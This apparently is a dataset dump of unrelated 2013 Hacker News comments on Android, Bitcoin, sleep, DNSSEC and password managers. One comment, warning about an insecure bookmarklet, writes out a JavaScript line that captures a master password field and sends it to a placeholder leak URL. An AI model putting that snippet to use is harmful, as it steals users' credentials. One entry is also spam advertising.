skysight-inc/HackerNews huggingface dataset:
Does that work (changing the font) even when you swap to TTY2 for example? If so, you're a lifesaver!
The ORIGINAL geniuses, because of course nobody ever thought of replacing X11 before, so all is left for you to do is to use your unbridled creativity to decide whether to call it X12 or Y1.
This is little inconsistent. Kotlin is well under development since 2010 and was published in 2011 or earlier, so it is already a 2 or 3-year-old project.
That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet:

document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" + $("#gp2_master").val()})})
> Yes, it was bad in the Gingerbread era.

We're still in the Gingerbread era. Yes, it was released three years ago, but almost a quarter of Android users are still stuck on Android 2.3:

http://developer.android.com/about/dashboards/
shelly sells seashells by the sea shore. the shells she sells are seashells i'm sure

/meh - not a native speaker :D
thanks, and good luck!
There's a lot of context missing from this article.

Unemployment remains stubbornly high—a recent 12.8%—providing companies a large labor pool to pick from.

Whilst the percentage is accurate, the final statement isn't if you are referring to a tech workforce. There is a huge issue of emigration in Ireland, levels not seen for decades and the vast majority of skilled tech workers are heading for the UK, Canada, the US, Australia & NZ where there are more opportunities and, in most circumstances, better wages.

The other major oversight is the cost of living. Dublin is a beautiful city with a fantastic tech culture however it's also an exceptionally expensive city to live in.
HLS has no benefit. what do you gain by not simply serving the mp4 file?

it is only annoying, convoluted and non-standard.

you only have a little gain by serving crappy videos that nobody will watch more than a few seconds, than it is as useful as youtube dash(?) thing... that only serves to annoy people that want to watch one movie for longer periods.
I see your way of thinking. As someone pointed out already, the issue of two contradicting opinions is due to us thinking from single perspectives. Nevertheless, let us see where it will lead us to:

1) I was talking from the personal experience in UK. Though, this might be conditional and post-student specific period.

2) Lead developer is getting a double value: interview a candidate, develop the product.

> Turn it around, would you want to work for a company so desperate for talent that they have to pay you to come to an interview?

I would like to work for a company valuing my professional time. The interview process itself is usually exciting, I learn a lot for myself by talking with inspiring people. But a day of coding is carrying by a degree less benefit to my professional and personal growth.

> To me it just sounds like you don't want this job much and the best outcome for both parties is that you go your separate ways.

I would rather not live in a employer's pony world where everyone dreams of working in their company.

As a company, you can hire someone highly loyal, thankful, putting his soul onto company's idea and unskilled, or less loyal and more skilled. You choose the balance. It was never possible to get both of the two worlds.

E: My awful grammar.
Show HN: Technobabble Twitter news bot Latest tech news 24/7.
"..on January 8th, 2010"
A thoroughly-tested autonomous driving program with all kinds of safety measures built in to handle things like firmware errors? Sure!

Some project that a three-man company hacked together in five months and are now selling without requisite safety measures and testing? Yikes!
> Instead it allocates memory in chunks of the size of the system page.

It can do that, it's not required to.

> Also, sbrk() is a syscall, so it's not available in OP's use case: he has not implemented it.

Yes, they have, they just called it malloc() :-). Which was really my (admittedly fairly terse) point.
Compila Email Security
You are probably very frustrated by the number of spam emails that arrive in your inbox each day and the threat of a virus that they can bring then, this could be the most important information you'll read all year. Thanks to a new breakthrough in email filtering technology it is now possible for us to get rid of up to 99 % of all the spam messages that you receive at the moment without any loss of the emails that you want in your inbox. More details at our site.
Who skips step 2 without spending a lot more time on a non trivial project? How did you measure this skipped time in real world cases? And what makes it justifiable or not? Where do you get that information that this person(s) does?

Basically; almost all IT projects are delivered too late and for too much money (including games) (and usually they are still crap code); spending any more time on skipping 2 is clearly not justifiable.

I don't think anyone in a real life scenario can actually get this done; I know plenty of (open source) projects where step 2 is skipped, but not in time realistic for any commercial project. Note that I don't think step 2 is a bad thing to do; prototyping something and rewriting/refactoring is not a bad thing as long as you don't ship it as the actual product.
wait for the phones around or after xmas. they all will have SD slots.

next year when everyone will be using 1TB SD cards for $15, you will not feel as bad.
No, you missed the point. These two scenarios are effectively the same, if the buyer doesn't complete the transaction until after the same period of time as the chargeback window.

The only other difference is the credit card company may
"loan" the merchant the funds while they are in "escrow".
>Wayland exists to be legacy cruft that no one cares about anymore.

FTFY
Big Data Startup Cloudant offers a distributed Database-as-a-Service solution
But if you know how to order right, you can find dishes that are kind of like American dishes only vastly better.

http://www.chinatouradvisors.com/UpLoad/Jiangsu/Suzhou/Food/...
Upload folder to S3 recursively
What will you do if your primary computer gets stolen?
Introducing IndiePhone
It always amuses me how some people absolutely believe that being gay is 'preprogrammed into their DNA', but refuse to accept that there is any difference between the sexes.

Wait until you've had a son and daughter, then come back and report what massive differences in behaviour there was right from birth.
it reminds me how interesting it is that amazon has a full week cybermonday house cleaning and not a single book.
It would had been better if this sky map was not only Earth-centric, but also had Earth's polar coordinate system, or at least Earth's rotation axis. Here if you look "up" and rotate the sky, there isn't a North Star sitting there, and that's weird.
Nothing, but there was a steep price increase when App Engine went "out of beta". This upset some people. Especially because there is a lock-in effect if you build on top of App Engine's proprietary APIs.
What I find the most surprising is how Apple continued to sell the 3GS. You could have bought a 3GS at a time where I wouldn't have updates for even a year.
The upgrades also shouldn't be a reason for buying a phone, you buy a phone for what it can do now. You don't know whether an update will be useful or not.
What did iOS 6 add? Apple's own Maps, Facebook integration (why is that an OS feature?).
Those are all things that in Android are just app updates, any app can integrate with other apps and feature SSO & default apps (like Maps, SMS, browser) can be chosen by the user.

There are some things that iOS 7 does better then Android, and some things that Android does better.
Both have a target audience and both are really advanced, but neither is a truly better OS.

I currently own an iPhone 5S. And while I do love the fingerprint sensor and the back-gesture-swipe, there really are some oddities in iOS. Why can't I use a mp3 as a ringtone without using iTunes? Why do I have to use iTunes to add music to my phone? Why can't I choose Chrome as my default browser?
Apple is damned if they do and damned if they don’t. If Apple decides a device is too slow to run a new major version of the OS, the decision will be condemned by people like u/jheriko. If Apple does let a 4 year old model run the new major release, people like u/gcb0 will complain that it’s slow.

Meanwhile, a three year old phone (iPhone 4) can run iOS 7 and run it well, albeit without fancy animations and parallax effect. I don’t know of any three year old Android phones that run Android 4.4.
Closed the page before reading the article for the fact that they popped up a modal advertisement window with a black background - ironic is that Adblock removed the ad content so it was a white box on a black background.
I'm not sure I agree with your last point. With the exception of Direct3D, pretty much everything from DirectX has been deprecated at one point or another and replaced with external libraries that usually originate from Xbox development.
That was just an example.

It's a computer asking for an action talking to a computer asking for an action.

Call them whatever you want, the concept is extremely simple and pretending it's anything more complicated is obfuscating the underlying simplicity of the intent of the programmer. i.e. I want the other computer to do something or the other computer to send this computer some information.
I got my dad to start using 2FA by using a CUDA password cracker to brute-force his password in about 30 seconds.

Nothing quite like a hands-on demo.
Ask HN: We made ReadBox, can you try it out?
I made a "yet another" Rss Reader, backed by my University in Italy. I would like to have feedbacks from HN community on the app itself.

Also, I was planning to add Hacker News special support but I can't find a way to authenticate users.

AppStore link: https://itunes.apple.com/us/app/readbox/id751377884?ls=1&mt=8
OpenVX - Hardware acceleration API for Computer Vision
>without a mercurial third party deciding what we can and can’t do.

Isn't that Apple?
I agree, though he's using a different meaning of "transaction" than is normally used in Bitcoin. I'd call it "payment" or something.

It's kind of like saying IP isn't a reliable transport protocol, which is true, but a reliable transport like TCP can be built on top of it.

Bitcoin transactions aren't reversible, but payments can be.
Hoe voorkom je typische mannenkwalen? | Leef Nu Gezonder
This model provides a way to ensure that hypotheses that most scientists disagree with continue to be published. Is that really what we want, though? When a hypothesis turns out to be false, it's good that a consensus forms on this fact.
Lol, mate, I used to port Windows mobile updates to phones that we're never meant to have it, back when people knew what "XDA" was for.

I do know what I'm talking about: you have that choice with android. Not every device. But that's splitting hairs. You DONT have that possibility with iOS. That was an okay trade off for me.

More to the point, now that Android has decoupled core apps from the OS itself, older phones can have nice new updated core apps, even when their manufacturer had abandoned them (which I never said was a good thing).

And yes, drivers need to be ported or written. That sucks. But at least there's the option. I don't have that option with my 4S, so when Apple moves on from it, I'm stuck.
http://didmyfuckingtestspassyet.com/
In case you're being sarcastic; http://en.wikipedia.org/wiki/Tulip_mania

Not international but in all other ways it's somewhat similar. Fun story too.
Define anagram
Lets do the math - this isn't fiction we're talking about, it takes at least 2 weeks to read a technical book and this is assuming you can read at least 1 or several chapters per day, or maybe skipping chapters, which can't happen for many of those books, as some of them are pretty challenging and you have to think about what you're reading, you have to try out samples, you have to do extra reading to clarify stuff and so on.

But lets be generous and say that 2 weeks is the average for reading a technical book. And there are on average 52 weeks in a year.

132 * 2 / 52 = 5.08

So that's 5 years worth of book reading, assuming that (a) you're reading each and every single day, without exceptions, without breaks and (b) that you aren't reading anything else. Why the heck won't you admit that you haven't read some of them and simply pasted links based on Amazon's recommendations or something?

Also, the section on recommendations is shallow. It references books for getting started, after which it gives advice to continue with the books above. And I'm not seeing negative remarks on the referenced books at all. Everybody has opinions on whether a book was good or not. What kind of review doesn't do that?

"Functional Programming in Scala" is an awesome book on functional programming btw. You should put that as a recommended book.
Ember 1.2.0 and 1.3 Beta Released
The OP cites scientifically-established correlations between low productivity and sleep deprivation. You, on the other hand, point to a couple of heavyweight counter-examples (Edison and Newton), plus one historical period (early industrial) and leave it at that. Macho attitudes like yours are the exact reason why common-sense attitudes to sleeping hours have not taken hold in companies. There doesn't seem to be much to argue with in your comment.
I don't think I claimed that implementing DNSSEC was easy.

But I'll certainly take your advice about reading the archives to get some perspective.
It's going to be an interesting race between the Web-native engines and the emulated C++ ones. Some of the WebGL based platforms have come pretty far already, eg. Turbulenz.

The Emscripten based competition only have a few tech demos so far and the possible coming of PNaCl outside Chrome doesn't look that probable at this point.
Are Ad-Blockers Ethical?
Ask HN: Are you writing Firefox marketplace apps?
with firefox apps very well integrated on Android, are you writing apps for it? or even considering it in the future?

https://marketplace.firefox.com/developers/
Anecdata. You forgot Margaret Thatcher (4 hour nights).

The article also pointed to a counterexample - Albert Einstein (10 hour nights).

Anecdotes are not sufficient to prove either point, you should look at the research on this. And research shows[1] that animals that are sleep deprived perform significantly worse in cognitive tasks.

Now, when humans start being "sleep deprived" will vary among individuals - but at least 6 hours is definitely required in most of us (of course, exceptions to every rule.)

[1] http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2982737/
FYI, I sent them another message and they got back to me quite promptly!
I don't know of anyone who does game logic in OpenGL.
All real people sleep.

It's robots that don't, but I think they could easily fake it.
How to Become an Internet Sensation Overnight?
> The magic of their voting system and google's search algorithms converts the latter into the former.

In addition to that, there's a lot of peer review going on. First posts, late answers, low quality posts, suggested edits, and so on are all reviewed by the community. Once you start reviewing, you'll quickly notice lots of shoddy content.
The hell we are. :-/
Yeah, it is very rough:

a) 45k has not been the average for the years leading up to 2013.

b) 45k is pre tax, 33k is post tax.

c) I suspect that SO is used more frequently by people on the lower rungs of the pay scale.

d) The average for "developer" (which is the biggest group in the stats) is 40k.

As a side note, wow 45k is a massive number.

http://www.itjobswatch.co.uk/jobs/uk/developer.do
Snapchat runs on GAE so it must not be too bad.

http://blog.snapchat.com/
And the Bitcoin drops...

But will rise again :)
Thanks for the comment. I'll look into EasyDNS and see what services they provide.

I may well take your advice and just go with a normal DNS deployment and then later on when I have more time make more of an effort to deploy DNSSEC.
Portugal's prescribed open standards - full list
They seem to be happy to let you pay $30 for the Alpha version though, despite it being in Alpha since at least 2009 (based on the date on the FAQ). I'm surprised PayPal will let you pre-order something that has been more than 4 years in development and has no release date.
...and my day just got that much better.
The problem is, is that the hypothesis is not always wrong. There are many examples in history where new hypotheses came along which go against the generally accepted dogma of the relevant field which scientists try to squash.

Think about it this way: if a hypothesis comes along which is counter to the work you've been doing for god knows how many years, are you really going to agree with it (publicly). This new idea threatens your career, so you do everything possible to get rid of it. The new system tries to keep around these new ideas so that they can be evaluated multiple times, as the people doing the evaluation change.
I hope he still has time to shoot photographs, too. :-/
That was my point, I was being snarky. Man, text totally is the worst for that sort of thing...
What? I just see a black screen with INVEST IN YOURSELF. I cannot understand the confusion of ideas that leads people to prevent visitors from reaching their content. I'm not going to click that ad, I'm not going to view your page so I'm not going to see the other ads on that page either.
Why he is there and I am here
I have the encrypted password file on a usb thumb drive. I remember the master password. I view as fatally flawed any password store that uploads the encrypted password file to a remote server.
The bright side is that in such cases you'll likely have received an answer or two before the question has been closed. Or maybe someone points you to a duplicate question which got more attention.
If someone is directly targeting you, then yes it's an issue (but even so, it's less of an issue than using exactly the same email address for all of your accounts).

In a mass compromise like the Adobe one, it's highly unlikely that the hackers are going to go out of their way to attack people who use this method when there's millions of much easier targets already in their list.

Using this approach also makes it a lot easier to spot spam - if I get an email to "hackernews@myaccount.com" claiming to be from my bank, it's highly unlikely to be genuine. If it's coming to "mybank@myaccount.com", there's at least a fair chance that it's real - I still treat it with a fair amount of caution, but as I've filtered out the obvious junk I can spend more time checking out these reasonably genuine-lookuing one. Using a random email like hhj4378@myaccount.com would make this quick filtering a lot harder.
Not true. There are upsides and downsides my friend and these biases are adapted to evolution where heuristics thrive.
You can. I would not. I don't want my password file uploaded to any remote server.
How do OS developers typically debug this sort of thing? Do they attach external hardware to step through, or is it serial logging?
One of the benefits of learning to program J for me has been to make it easy to remember hard to crack passwords. I have some passwords which are actually runnable J on-liner programs and contain all kind of '#!$' symbols. All I need to do is remember what they do so that I can recreate them.
Add Enhanced Workflow To Trello
I tried logged into coinbase to sell my bitcoins after hearing the news and seeing the price dropping on btcchina. While I was doing this, coinbase's security sms messager took forever to come in, and because I sent in a request too many times coinbase blocked me out and said to try logging in again in 24 hours...

oh well, the price for the most part is recovered after the bump (here and in China) -- so I'm luck in some sense, BUT ... It's nice to know that if I ever needed to sell my btc in a jiffy coinbase will try to screw me...
You know, people talk about sociopaths a lot, and I get why, but I have a problem with the definition. The idea is that a sociopath is someone who lacks empathy (or, so I've read, is able to switch off their empathy) and prioritises their own needs. The behaviour is characterised as selfish, as in putting themselves first. This doesn't really make sense to me, because there's an implicit assumption about what actually benefits the sociopath.

Taking a step back, as far as I can see, a sociopath is someone who (either by choice or by nature) prioritises certain social drives over other social drives. The drives to be empathic and obey social expectations, norms and rules get ignored. However, the drives for status, money and power are prioritised above all others. These drives are still social in nature. They don't actually convey a fundamental biological advantage.

I personally choose to aim to be a warm and caring human being, and, as a consequence of that, I have a really great relationship with my girlfriend. When we have kids, our kids will grow up in a loving supportive environment and so will have a good chance of growing up strong and well balanced. Being a sociopath would probably get me more material possessions, but I would have had to settle for an emotionally weaker partner (who I could dominate) and I would end up with messed up kids with a lower chance of success and survival.

From my own personal experience, people who fit the sociopathic archetype aren't really like evil villains. They're more like computer game addicts, fixated on goals that don't bring them happiness, and that get in the way of forming genuine connections with other human beings. I can see why people who are the victims of their behaviour characterise it as selfish, because they see the world as a competition for money, status and power and they think they are losing out. However, that competition is just a game, and the grand prize is not happiness.
Apparently not... not yet at least, still going down :p
It's thought to be a more natural sleep pattern, and us westerners have beaten it out of ourselves:

http://www.bbc.co.uk/news/magazine-16964783

"His book At Day's Close: Night in Times Past, published four years later, unearths more than 500 references to a segmented sleeping pattern - in diaries, court records, medical books and literature, from Homer's Odyssey to an anthropological account of modern tribes in Nigeria. "
How The Post covered the ‘grand social experiment’ of the Internet in 1988
Dizzying but invisible depth (2011)
My human translation of the China regulation notice (about bitcoin)
These quotes are from the 1997 film Cube [1], not the 1969 The Cube [2] of your rotten tomatoes link.

[1] http://en.wikipedia.org/wiki/Cube_(film)

[2] http://en.wikipedia.org/wiki/The_Cube_(film)
I've heard it suggested that language made the big difference. We bummed around for 998 million years, not able to improve our lot much - but somehow, 2 million years ago we developed language, and after that we were able to rapidly improve (and even co-evolve with our improvements - I've heard that the invention of the baby sling allowed our brains to grow larger than without it).
> We're still in the Gingerbread era.

Indeed, phones with it installed are still widely available for sale.

http://www.amazon.com/HTC-A510e-Unlocked-Android-Bluetooth/d...
Yugdom Twitter Bot Tech News 24/7
I upgraded my Samsung Galaxy S to Android 4.3 with CyanogenMod. Works really well!
What about OSX? Does DirectX work (at all/well) on it? Linux? How feasible is it to program with DirectX on any non-MS platform?

Edit: I guess the point I'm making is, OpenGL runs on non-MS as well as MS platforms (perfectly/badly is another question), but DirectX is locked to Microsoft only. That is what makes it of little to no value for people like me who need to care about cross-platform products and support.